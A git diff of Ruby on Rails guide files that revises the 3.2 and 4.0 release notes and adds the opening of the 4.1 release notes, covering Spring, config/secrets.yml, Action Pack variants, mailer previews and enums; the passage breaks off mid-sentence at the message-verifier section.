+++ b/guides/source/3_2_release_notes.md
@@ -8,7 +8,10 @@ Highlights in Rails 3.2:
* Automatic Query Explains
* Tagged Logging
-These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails
+repository on GitHub.
--------------------------------------------------------------------------------
@@ -21,7 +24,7 @@ If you're upgrading an existing application, it's a great idea to have good test
Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
### What to update in your apps
@@ -67,7 +70,7 @@ Creating a Rails 3.2 application
--------------------------------
```bash
-# You should have the 'rails' rubygem installed
+# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```
@@ -101,7 +104,7 @@ Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [A
### Automatic Query Explains
-Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
+Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.
Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
@@ -137,7 +140,7 @@ Railties
* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
-* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.
* Add an alias `d` for `destroy`. This works for engines too.
@@ -185,11 +188,11 @@ Action Pack
end
```
- Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+ Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
-* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
-* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
@@ -219,7 +222,7 @@ Action Pack
* MIME type entries for PDF, ZIP and other formats were added.
-* Allow fresh_when/stale? to take a record instead of an options hash.
+* Allow `fresh_when/stale?` to take a record instead of an options hash.
* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
@@ -227,7 +230,7 @@ Action Pack
#### Deprecations
-* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:
```ruby
class ApplicationController
@@ -238,13 +241,13 @@ Action Pack
end
```
- In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+ In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
-* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
+* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
-* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
+* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`.
-* Deprecated `method_missing` in favour of `action_missing` for missing actions.
+* Deprecated `method_missing` in favor of `action_missing` for missing actions.
* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
@@ -254,7 +257,7 @@ Action Pack
* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
-* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
@@ -375,7 +378,7 @@ Active Record
* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
-* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.
```ruby
has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
@@ -562,4 +565,4 @@ Credits
See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
-Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev).
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index dd57787111..84a65df2bc 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -3,28 +3,29 @@ Ruby on Rails 4.0 Release Notes
Highlights in Rails 4.0:
-* Ruby 1.9.3 only
+* Ruby 2.0 preferred; 1.9.3+ required
* Strong Parameters
-* Queue API
* Turbolinks
* Russian Doll Caching
-* Asynchronous Mailers
-These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails
+repository on GitHub.
--------------------------------------------------------------------------------
Upgrading to Rails 4.0
----------------------
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
Creating a Rails 4.0 application
--------------------------------
```
- You should have the 'rails' rubygem installed
+ You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```
@@ -52,23 +53,61 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev
Major Features
--------------
-TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections.
+[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
-![Rails 4.0](images/rails4_features.png)
+### Upgrade
+
+ * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
+ * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+ * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
+ * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
+ * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
+ * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
+ * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
+ * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+
+### ActionPack
+
+ * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+ * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
+ * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
+ * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation
+ * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
+ * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
+ * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
+ * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.
+
+### General
+
+ * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`)
+ * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables.
+ * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
+ * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important.
+ * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store.
+ * **Notifications start &amp; finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers.
+ * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe.
+ * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
+
+### Security
+
+ * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
+ * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
+ * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
Extraction of features to gems
---------------------------
In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back.
-* Hash-based & Dynamic finder methods ([Github](https://github.com/rails/activerecord-deprecated_finders))
-* Mass assignment protection in Active Record models ([Github](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
-* ActiveRecord::SessionStore ([Github](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
-* Active Record Observers ([Github](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
-* Active Resource ([Github](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
-* Action Caching ([Github](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
-* Page Caching ([Github](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
-* Sprockets ([Github](https://github.com/rails/sprockets-rails))
+* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders))
+* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
+* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
+* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
+* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
+* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Sprockets ([GitHub](https://github.com/rails/sprockets-rails))
+* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876))
Documentation
-------------
@@ -80,15 +119,19 @@ Documentation
Railties
--------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.
### Notable changes
-* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+
+* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.
* Threadsafe on by default
-* Add `Rails.queue` for processing jobs in the background.
+* Ability to use a custom builder by passing `--builder` (or `-b`) to
+ `rails new` has been removed. Consider using application templates
+ instead. ([Pull Request](https://github.com/rails/rails/pull/9401))
### Deprecations
@@ -99,113 +142,136 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt
Action Mailer
-------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.
### Notable changes
-* Asynchronously send messages via the Rails Queue. ([Pull Request](https://github.com/rails/rails/pull/6839))
-
### Deprecations
Active Model
------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.
### Notable changes
-* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
-* Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box.
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box.
### Deprecations
Active Support
--------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.
### Notable changes
-* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore.
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.
+
+* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+
+* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
-* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.
+* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
+ when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
-* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+ ```
+ # ActiveSupport 3.x
+ "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+ "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
-* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+ # ActiveSupport 4
+ "asdf".to_date # => ArgumentError: invalid date
+ "333".to_date # => Fri, 29 Nov 2013
+ ```
### Deprecations
-* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
-* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
-* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
-* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).
+* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
-* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby stdlib.
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
+* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
Action Pack
-----------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.
### Notable changes
+* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
+
### Deprecations
Active Record
-------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.
### Notable changes
-* Adds some metadata columns to `schema_migrations` table.
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+ * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+ The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible).
+ The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
- * `migrated_at`
- * `fingerprint` - an md5 hash of the migration.
- * `name` - the filename minus version and extension.
+ * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible)
-* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
+ * New method `revert` will revert a whole migration or the given block.
+ If migrating down, the given migration / block is run normally.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations)
-* Add `Relation#load` to explicitly load the record and return `self`.
+* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
-* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
+* Add `Relation#load` to explicitly load the record and return `self`.
-* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
-* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
store :settings, accessors: [ :color, :homepage ], coder: JSON
-* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+
+* Remove IdentityMap.
-* Remove IdentityMap.
+* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.
-* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
+* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
-* Added `create_join_table` migration helper to create HABTM join tables.
+* Added `create_join_table` migration helper to create HABTM join tables.
-* Allows PostgreSQL hstore records to be created.
+* Allows PostgreSQL hstore records to be created.
### Deprecations
-* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
-* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
- how you can rewrite the code:
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
+ how you can rewrite the code:
* `find_all_by_...` can be rewritten using `where(...)`.
* `find_last_by_...` can be rewritten using `where(...).last`.
* `scoped_by_...` can be rewritten using `where(...)`.
- * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`.
- * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`.
- * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`.
+ * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
+ * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
+ * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
Credits
-------
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000000..c7877a9cb5
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,730 @@
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Spring Application Preloader
+
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
+
+**Running rake tasks:**
+
+```
+bin/rake test:models
+```
+
+**Running a Rails command:**
+
+```
+bin/rails console
+```
+
+**Spring introspection:**
+
+```
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app | my_app | started 23 secs ago | test mode
+ 3746 spring app | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+see all available features.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
+
+### `config/secrets.yml`
+
+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+```yaml
+development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ some_api_key: SOMEKEY
+```
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
+
+### Action Pack Variants
+
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a `before_action`:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+You can also simplify the variants definition using the inline syntax:
+
+```ruby
+respond_to do |format|
+ format.js { render "trash" }
+ format.html.phone { redirect_to progress_path }
+ format.html.none { render "trash" }
+end
+```
+
+### Action Mailer Previews
+
+Action Mailer previews provide a way to see how emails look by visiting
+a special URL that renders them.
+
+You implement a preview class whose methods return the mail object you'd like
+to check:
+
+```ruby
+class NotifierPreview < ActionMailer::Preview
+ def welcome
+ Notifier.welcome(User.first)
+ end
+end
+```
+
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails)
+for a detailed write up.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+ enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+```
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
+
+### Message Verifiers
+
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
+
+The method `Rails.application.message_verifier` returns a new message verifier
